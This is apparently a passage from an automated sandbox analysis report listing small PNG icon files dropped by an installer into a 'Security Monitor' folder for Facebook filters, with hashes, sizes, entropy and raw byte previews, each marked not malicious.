SHA-512:	2FFE767C9FCE4BC994460E7071579B6DF94A650FF9E3F9CC0538D599CD40178304302583C826F9CF39BAD2F160433E264BD2265DB17D016FA60158EF34461D0A
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r.....IDAT8Oc`..L.........@...K.....?..O....Y.e...m./...7.....A. .Y-V.@.a......I6...p. C@\|.!X].jZ... ........n....A\|......l...)\|py5..77...X.....p.a....^@.@........x.@Jz...$..^......7.23.....y..?..k.......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\facebook\Invite friends.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	337
Entropy (8bit):	6.603752167197913
Encrypted:	false
SSDEEP:	6:6v/lhPkR/C+wZA3te+/CG3J1R7/1JrZywu9ym9mmAivY6Ppmj/jp:6v/78/nfCG3JHVywuUm9mmAiQ6Bmh
MD5:	58280774747B0A7F0CA8B29DACA0B917
SHA1:	0BEEDF45E1CC739DAD3886AD1532A05BDFD2A3E8
SHA-256:	A7FA8ED622AECB52E7FDB363B32CC44C3A6FF5837FF78917DD177DBBE15B7DD6
SHA-512:	21FCDC686E3B700753E975C7A78884E7C0EBAF0ADABF13152B199B97F7F1F6F8FBAF1295ABDA7E2FA5D81683894EB280C1AA92E6695AEA56A289E9F17AE4095E
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r.....IDAT8Oc.....?k1Y......g...s.!.......h...,.........3x..k`>.F....`.P.S....7..O`.A4.}'.]....`..`.@4Lq..`.@4^.`....X.!..r@b."r."..l.r.P/.T..$9!..].//XG...4.\|.........4..'h.H...........CK.Tl.u....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\facebook\Messages.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 17, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	362
Entropy (8bit):	6.744489136613283
Encrypted:	false
SSDEEP:	6:6v/lhPOtBUswMR/C+wZA3teVVIqGKvSdmD4lK6mj9I4OPDWwnqtzzfQ27r8aCwt2:6v/7K2sb/nK5GUonx4NMqtzzIorTtxdu
MD5:	0BAB4FC0FAACC30AC714DB34333BAA54
SHA1:	C5AA05973E3267D60F2C927AB67B16FCE8929118
SHA-256:	4E79FBF438C1F6B197D15B08619BCCF862E7076D11C75D0B9CE3007711D94347
SHA-512:	06B09980DB26DA14FB0E80EC2831A9B377112E97EAEAFF967221170A5E3D7FE70B940CCE934629CE0451D41457F1705D76B1E64181D8A9D062FA0C4BD77E34AE
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............,.....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r.....IDAT8Oc`.6..Z......7c...x....>\|.Aj@j.......`....;...F6.l.....@...A....R.3....g..f.......@.+p........R.....i.:r...Hid3(.Q.....6.G...*.#...>!`...j.r... K@.a...?r4"kD.Z..h......x..B.^......D.....`.@5..n....5.r.>y.E.".........IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\facebook\News.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	296
Entropy (8bit):	6.500966192845998
Encrypted:	false
SSDEEP:	6:6v/lhPkR/C+wZA3teBQFMnlqsTJee5uicbPfZSyxX0GUd/eup:6v/78/nIQFMnkyf54rfsrpz
MD5:	1374A978134A935973CAF3CD4BFD5DD6
SHA1:	3A24FBE3ACDA81875702DE3DC013EA3C3B717AB5
SHA-256:	DF28F5437300E6BF466FED1E74E785D4BD205ADDB1AACCBB37F51E7FD79B9C13
SHA-512:	076C7993D4547042FF31C8560FC3C0A699C940CAC85668D9622E6B5F26F26C90DB5E395A1AEC0EEACDF842996A5D734FBCC310638C0D3E4C97E328419ED4000B
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r.....IDAT8Oc`.&...<...I.....4N.6.?).d...7...2..{..YC...a5.b...h....A..GX1H...(6...d...p....$.^.........w.<.....@..]XJ....K...(.....X^d.2......R..G... .k..^.j....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\facebook\Notifications.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	288
Entropy (8bit):	6.530333940085824
Encrypted:	false
SSDEEP:	6:6v/lhPkR/C+wZA3teNpjvb61Qo2SAo+yeZG7q5Vp:6v/78/n+jDqQmEyeZ8g
MD5:	EE2EC82FDFACF590ED0211B44987C617
SHA1:	71F0AFC24952BB5C2F334C56F801470176BCCEC2
SHA-256:	F8199692B7CE8D0C77D9DED524F679D64FF7723421345425B431EE933868AAC0
SHA-512:	220A8C913FED060F38FCA7835D508D8D88531EF940532E8173257741433ED7FB21223CD2EE1EDDB5E770BD44AA632F8B043481CED038167901D65C74A6CC6192
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r.....IDAT8Oc`...:.?...?....8H...`C.*\.a....V.1H.........>...ge..\|...w..'...A.... 5-..`..U.}R.I. }.......y..).5..7.s.....u...?.p...t>..$.R.l ..[aR.O......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\facebook\Payments.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	307
Entropy (8bit):	6.610384624893472
Encrypted:	false
SSDEEP:	6:6v/lhPkR/C+wZA3tepODZkidAJRzwBtNpQ+YiMpOhbi9eo77Vp:6v/78/nffTBvpQRiombi9j7
MD5:	06CE05DA1418C5F5B952911492F1D313
SHA1:	17A0D4EBD1E5A5BD338ECCAEF1CA9944EEC7C156
SHA-256:	380154EAE1DE86B8AA27433A0044FBB471A0C067E14DD8DD740F6419A06F0EFB
SHA-512:	3735BF636D31B885B429EA1C70CCC3850666A801C53B40F5570EF584D6180486E22A06DB31757987DDC5EDBB209CBF2790A8DB2566C8962107519CEC75F7A871
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r.....IDAT8Oc`.p.i.....da.^.....>..Az..x{{...g..^ ..7...a....@.c.............>0...5.W.X...;......765.....b]........... .06..`~.?........0Y..{......_......,..Kqf....l9pA}....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\facebook\Privacy.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	386
Entropy (8bit):	7.00776812280233
Encrypted:	false
SSDEEP:	6:6v/lhPkR/C+wZA3tedVeog/dmQEyGZ34lO47R4pyOcVuAUrm7OGBQ6bp:6v/78/nyA5dmQHuU7SpyOcVtz/Bt1
MD5:	9321CA9A72F08DDF4987816DDCA3D413
SHA1:	DF2EE42EB884D660440C3EBE6D8227EA443DE23A
SHA-256:	46BD2F7186989CAA26BF20092F0BDBA9EC94357A69940F6C8EA16E8E5C0FAEA7
SHA-512:	F37F4348594CB29622B0CEFBD8515772DE49DE8040F906209D6EA44844BDBDDE1C88DF1167B13AFF3D3BF59A41831E7895EF1B4F5C03774B1060BD8FF5D76EAA
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r.....IDAT8O./..P........a.h...a..n0..e.."XV.k........9........x....s.o.M.Z..}1MSt]W .+.....M.....E.$I.@.G.0...LA...X.%.a(..Q+6...Tr.*.h..@...9.54j.&.....JcnL.G...x.T..........Z...h.6....<..V..j..<y.f.@S2...d...O..^.T....T...{2..u.....=.q..x.....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\facebook\Security.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	459
Entropy (8bit):	7.157014739512398
Encrypted:	false
SSDEEP:	12:6v/78/nhHoLgTdcsOkCuZ3I6xhC3kTGtjzx7:XdXau5I6pTi17
MD5:	73A35AA153A7310E1DE170CE339F0242
SHA1:	85016176CB165872D08073CB27F23600599F338C
SHA-256:	1B7F27805D3486ACC7D96371EA3E91436D9347D7D0E70ACE883E54BDF8ACCA40
SHA-512:	2EF8B50F7FB23D219DF2AD666665A90C18E83DE24685DD17107F09100E493611C480EC73CBDC3B5CFC07B6FE60CB74506E08F01C9C9144A1A1AD541AD6B6F36F
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r....:IDAT8O.SAr.0.._...<.+.-?(\..v..!QwW....Pf48...Z...w>..x....{\|..n.X.Y....m.....g..........._.. .+.~..Y.?Z ......D..C......J..n...B..a.l...............,F..()`....... [ND9.n....Sr... .....ke...'...!.K...y..TFSz.=....2.....ZQ..K...8..=.8Q@.Y.Z..y.D.a.\|...(....G.0.)...g`<D.....4TA_4u....N.zp.OF....\...#.N.......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\facebook\Settings.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	479
Entropy (8bit):	7.089593114616156
Encrypted:	false
SSDEEP:	12:6v/78/nYc+5kz1ODz/QkR2gWWQQNjWPsiVY:SezqjQW2gfNjIsf
MD5:	011D15EB16A43A3A209EF0AA0AA18EEE
SHA1:	AA2B6FA0994415F1F8375FDA46EE3F3336777D9F
SHA-256:	12DC59580F6AD444E19F24260219FA0B9FDDC1B5873C1F9361C2063A8DC1A4E5
SHA-512:	81D9B1576636754E746523C032D822BB458D2F0FFC3632A132D3C64F32637888C5ADED498060D6020D17CC989DE96D639F8FDAA569F338ACCD810622D0C3C58B
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r....NIDAT8Oc`.......w...Q.+.....?>..r)5k...._....EG.G.-'.-...O.Z...p.....U..3.+m...+O..0w.....s.3.=y...Oa...O.......Z..5$.`...K.....z.........^...Y.6`.zH@.......#....ir...=.....E#(-....Z6.o...l....I2 .l....G..LZ\|.....8{.....;f.@.D.a C..{...../l..?.`..fX.....4...........[g.C..9)...)......w........;CP3.. . }p.....'.......{.........IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\facebook\Subscribers.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	410
Entropy (8bit):	6.98484459691547
Encrypted:	false
SSDEEP:	6:6v/lhPkR/C+wZA3teDEQYCdbzRpDoi7/hZTnWjiGTwiHiyiTVd7UiBwUCmi7yp:6v/78/nKEQYyb9pEm/DWjMJLiZ974
MD5:	0FB46F0A45701EA2D22DCAB7E82C8B5D
SHA1:	71FE89922F1F4DE4C1F7101607A18402F436069A
SHA-256:	C28F498E0C59B1E3741850574D9E7F9282D4BA6F90BFE175B3F24B69561A52EC
SHA-512:	B1E780BDED7AD696E28DC20FA8FEDC11C7A423D134083A6F24DA9D6044D67D1997FED26425939523B02B044FDBEA28D2C05BA039C5024B43DD87C4CECF88CD9C
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r.....IDAT8O..K..0..=....^....\.J.**.. ...Ek...T..Vt..$&}D...tf..3mRF.E.BQ+......r.....N?......O..A6.t...r.@G..r.P..r..P.1V... ;@.E..E..XS.Q@.@... ,...W......Y.#..{.p..3@........ ..`!@@w.#...."...\|6.D.....=..(....\|...<.@.Z.......b]....7;Z....~..K...7AN...'...L..P.......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\facebook\Welcome.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	259
Entropy (8bit):	6.365804366050187
Encrypted:	false
SSDEEP:	6:6v/lhPkR/C+wZA3teZ439CTUXhR7P/jlOS+sknw69p:6v/78/n1NuUXP7PIS+sknTT
MD5:	845E4E3FF8D9BA304B19010CCBD47312
SHA1:	04EB66B1136F8CE4B6564B32E4BB48A48CDF245A
SHA-256:	52F38FE15504A9E7372B94C8881D1304C718673192CD64F0B90696F2BDC797A1
SHA-512:	84BE706BEF872CC3705ECEC96C227285FC1AC3FB6DAAAD1175C6F70DB5D4603BA5859869BD1DB4AB539193971252AE0CACC7C4D769DF589C221280E15DCDB564
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r....rIDAT8Oc...?.%..9.r.....$a...^...j..'....._......H6.Y3Y...L...6..i4........0>.. )D..Ah.k...-[pbX."...D...83Q.........@X....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\facebook\is-01GJ3.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	459
Entropy (8bit):	7.157014739512398
Encrypted:	false
SSDEEP:	12:6v/78/nhHoLgTdcsOkCuZ3I6xhC3kTGtjzx7:XdXau5I6pTi17
MD5:	73A35AA153A7310E1DE170CE339F0242
SHA1:	85016176CB165872D08073CB27F23600599F338C
SHA-256:	1B7F27805D3486ACC7D96371EA3E91436D9347D7D0E70ACE883E54BDF8ACCA40
SHA-512:	2EF8B50F7FB23D219DF2AD666665A90C18E83DE24685DD17107F09100E493611C480EC73CBDC3B5CFC07B6FE60CB74506E08F01C9C9144A1A1AD541AD6B6F36F
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r....:IDAT8O.SAr.0.._...<.+.-?(\..v..!QwW....Pf48...Z...w>..x....{\|..n.X.Y....m.....g..........._.. .+.~..Y.?Z ......D..C......J..n...B..a.l...............,F..()`....... [ND9.n....Sr... .....ke...'...!.K...y..TFSz.=....2.....ZQ..K...8..=.8Q@.Y.Z..y.D.a.\|...(....G.0.)...g`<D.....4TA_4u....N.zp.OF....\...#.N.......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\facebook\is-0MLLB.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	288
Entropy (8bit):	6.530333940085824
Encrypted:	false
SSDEEP:	6:6v/lhPkR/C+wZA3teNpjvb61Qo2SAo+yeZG7q5Vp:6v/78/n+jDqQmEyeZ8g
MD5:	EE2EC82FDFACF590ED0211B44987C617
SHA1:	71F0AFC24952BB5C2F334C56F801470176BCCEC2
SHA-256:	F8199692B7CE8D0C77D9DED524F679D64FF7723421345425B431EE933868AAC0
SHA-512:	220A8C913FED060F38FCA7835D508D8D88531EF940532E8173257741433ED7FB21223CD2EE1EDDB5E770BD44AA632F8B043481CED038167901D65C74A6CC6192
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r.....IDAT8Oc`...:.?...?....8H...`C.*\.a....V.1H.........>...ge..\|...w..'...A.... 5-..`..U.}R.I. }.......y..).5..7.s.....u...?.p...t>..$.R.l ..[aR.O......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\facebook\is-0U82B.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	479
Entropy (8bit):	7.089593114616156
Encrypted:	false
SSDEEP:	12:6v/78/nYc+5kz1ODz/QkR2gWWQQNjWPsiVY:SezqjQW2gfNjIsf
MD5:	011D15EB16A43A3A209EF0AA0AA18EEE
SHA1:	AA2B6FA0994415F1F8375FDA46EE3F3336777D9F
SHA-256:	12DC59580F6AD444E19F24260219FA0B9FDDC1B5873C1F9361C2063A8DC1A4E5
SHA-512:	81D9B1576636754E746523C032D822BB458D2F0FFC3632A132D3C64F32637888C5ADED498060D6020D17CC989DE96D639F8FDAA569F338ACCD810622D0C3C58B
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r....NIDAT8Oc`.......w...Q.+.....?>..r)5k...._....EG.G.-'.-...O.Z...p.....U..3.+m...+O..0w.....s.3.=y...Oa...O.......Z..5$.`...K.....z.........^...Y.6`.zH@.......#....ir...=.....E#(-....Z6.o...l....I2 .l....G..LZ\|.....8{.....;f.@.D.a C..{...../l..?.`..fX.....4...........[g.C..9)...)......w........;CP3.. . }p.....'.......{.........IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\facebook\is-1MBBO.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 17, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	362
Entropy (8bit):	6.744489136613283
Encrypted:	false
SSDEEP:	6:6v/lhPOtBUswMR/C+wZA3teVVIqGKvSdmD4lK6mj9I4OPDWwnqtzzfQ27r8aCwt2:6v/7K2sb/nK5GUonx4NMqtzzIorTtxdu
MD5:	0BAB4FC0FAACC30AC714DB34333BAA54
SHA1:	C5AA05973E3267D60F2C927AB67B16FCE8929118
SHA-256:	4E79FBF438C1F6B197D15B08619BCCF862E7076D11C75D0B9CE3007711D94347
SHA-512:	06B09980DB26DA14FB0E80EC2831A9B377112E97EAEAFF967221170A5E3D7FE70B940CCE934629CE0451D41457F1705D76B1E64181D8A9D062FA0C4BD77E34AE
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............,.....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r.....IDAT8Oc`.6..Z......7c...x....>\|.Aj@j.......`....;...F6.l.....@...A....R.3....g..f.......@.+p........R.....i.:r...Hid3(.Q.....6.G...*.#...>!`...j.r... K@.a...?r4"kD.Z..h......x..B.^......D.....`.@5..n....5.r.>y.E.".........IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\facebook\is-3L1ST.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	331
Entropy (8bit):	6.6701546506374205
Encrypted:	false
SSDEEP:	6:6v/lhPkR/C+wZA3teRZQUgXtmGvGDJ0IkloKlVJjh60HEwTp:6v/78/nGboZvGDQbRF9
MD5:	CC83BBCB39E5B47545CBDFBABFE69864
SHA1:	C2EBFD1842B6877B69F32E00AE7A55BCFA063802
SHA-256:	71197BC1C1D20F42851D4F5ABD91CD47D6C52E9C0100CEC8FBCC57B2E515B4B3
SHA-512:	929369F0D508A6326C0019701CA56E4694109DF2D2EE5372B6F2227F16E7FAC367263CF4065E8E493CC2D69129C116D582076040CBC71A70AF4CCD128BC62165
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r.....IDAT8Oc` ..t.>....9A.@E.../...b. ...`..H...Ob..).j...?.q..........0A5&!..r..T\|1A......c.Wpj..R....I.....4......K......@z....4......../ ?.;~..o.4.....(.......E%z....J.@J@"..r.....".#....4.........IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\facebook\is-88DB9.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	468
Entropy (8bit):	7.111349425204145
Encrypted:	false
SSDEEP:	6:6v/lhPkR/C+wZA3tezZiBETckBgamBUuzzCg5z7yDALRIjfq1iMrjWTa/IUlqauE:6v/78/nawkdmBUKf5zaIybM/WqTsY
MD5:	37DA94ECD734F687EF2BD6B876BA3918
SHA1:	20F07BFA0FCF04B900F5E78B503B9E7597BB652D
SHA-256:	310373B5A0CA520244BBC8C21837F356781DE404EBEEAD88A44AC149B4B3EFE1
SHA-512:	AF4D0182BE380DDD3972D905AE8800AA5720DD42FE62504090BBC5BF929771844C7F8DE7594851A562ED982FE3DD4EDA7B07D7177DD037C74A5D0EA510E7A863
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r....CIDAT8Oc`...=./..'........x1H.^.~......p........2...b>..@..4o.u......?.j......Wt...2....\.......'./.\|....`z...O..G. .0.............+{v.]Q....$...._.....x.y...@,...?~c...S....-^..... .~.....~.....?~.....s.C...o.....i..'....4..y...b.Y.s...Uo._....u.Pb..r.8..@..6d.....(.{..A... v..(iB.h..... ..................5BJ.....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\facebook\is-B6VC8.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	337
Entropy (8bit):	6.603752167197913
Encrypted:	false
SSDEEP:	6:6v/lhPkR/C+wZA3te+/CG3J1R7/1JrZywu9ym9mmAivY6Ppmj/jp:6v/78/nfCG3JHVywuUm9mmAiQ6Bmh
MD5:	58280774747B0A7F0CA8B29DACA0B917
SHA1:	0BEEDF45E1CC739DAD3886AD1532A05BDFD2A3E8
SHA-256:	A7FA8ED622AECB52E7FDB363B32CC44C3A6FF5837FF78917DD177DBBE15B7DD6
SHA-512:	21FCDC686E3B700753E975C7A78884E7C0EBAF0ADABF13152B199B97F7F1F6F8FBAF1295ABDA7E2FA5D81683894EB280C1AA92E6695AEA56A289E9F17AE4095E
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r.....IDAT8Oc.....?k1Y......g...s.!.......h...,.........3x..k`>.F....`.P.S....7..O`.A4.}'.]....`..`.@4Lq..`.@4^.`....X.!..r@b."r."..l.r.P/.T..$9!..].//XG...4.\|.........4..'h.H...........CK.Tl.u....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\facebook\is-BJSHI.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	417
Entropy (8bit):	6.94896891695791
Encrypted:	false
SSDEEP:	6:6v/lhPkR/C+wZA3te4bUHmsrNAhcSAZF8qYe+QRePg5gJjsDzEm2I81SwJL2l/sc:6v/78/nXUfyFM8q5Ig5gIzjMZSN
MD5:	4C24F1DEA3731AF8E87753BF5809B7AA
SHA1:	E66175AEF9B3B505215D5B8E2502C78A6662493A
SHA-256:	501002F4107D366ABFD5659C858B56EF0A46C053236A83C2BF44AEAA4D41F510
SHA-512:	7AE28379921677BAAD7C011A4FD5D8BC61740A4F4F51D4C726B7765AD0FA4FAE098F3B3EC6E05043DB050F2E0028265DE7A2FE7943A6462790B590FF8787C917
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r.....IDAT8OcH....V. ..c..@._\|xD....4.....a.......:r.A\..?..dt.A....'.A.P.x...H".e...}...O....H.n..G..#cl. k...b.....#cl. ..s...W..............l..n.......A.$.w...g..0<E....}...Y.,.7...s..S..?y...A.%].Q0..dq.. ...'U.DE....3.Y.l...........HpJ.e@......?y..'~...n.@.q*@....Pm...uJ....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\facebook\is-CIS06.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	409
Entropy (8bit):	7.015430309226083
Encrypted:	false
SSDEEP:	12:6v/78/ntuuZyeN46QM3TNzORtgDjrSNNXH:j1yA47QRORtgXuL
MD5:	45409D06153FF84BDB5AB3E30C7CAB12
SHA1:	AB84313D7A29E9D9C6308E3B99CB247AAADE34C4
SHA-256:	52611BFC775199483CF8216F2FAEC18FD56B9D895A1173338B36BE5F14F5FC06
SHA-512:	7C21E74A7787B1F26F0A5A4ADC4B4D469C069F6A066E4AE45D72F5515696313BAEC74C9435E04B812521339918E08E2136EBAA81E4351053AF9D372BB372F377
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r.....IDAT8O.S...0....fH&........3S.......f0s.}......Z...5...-,aM^zw.{}m..2..x...2.YC....$..u..........9I..-...(.R wf.G..0....>+...lr..f../R*q.q.3.......4M.`..q.c.....$6M..1&.K.F{.6....U=I..?...M.h1dFQd.`.#...zew..\.EAA......v...$...\.$.S.....K.W.b.d...w.....R.F......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\facebook\is-FVVAU.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	259
Entropy (8bit):	6.365804366050187
Encrypted:	false
SSDEEP:	6:6v/lhPkR/C+wZA3teZ439CTUXhR7P/jlOS+sknw69p:6v/78/n1NuUXP7PIS+sknTT
MD5:	845E4E3FF8D9BA304B19010CCBD47312
SHA1:	04EB66B1136F8CE4B6564B32E4BB48A48CDF245A
SHA-256:	52F38FE15504A9E7372B94C8881D1304C718673192CD64F0B90696F2BDC797A1
SHA-512:	84BE706BEF872CC3705ECEC96C227285FC1AC3FB6DAAAD1175C6F70DB5D4603BA5859869BD1DB4AB539193971252AE0CACC7C4D769DF589C221280E15DCDB564
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r....rIDAT8Oc...?.%..9.r.....$a...^...j..'....._......H6.Y3Y...L...6..i4........0>.. )D..Ah.k...-[pbX."...D...83Q.........@X....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\facebook\is-HBM2T.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	410
Entropy (8bit):	6.98484459691547
Encrypted:	false
SSDEEP:	6:6v/lhPkR/C+wZA3teDEQYCdbzRpDoi7/hZTnWjiGTwiHiyiTVd7UiBwUCmi7yp:6v/78/nKEQYyb9pEm/DWjMJLiZ974
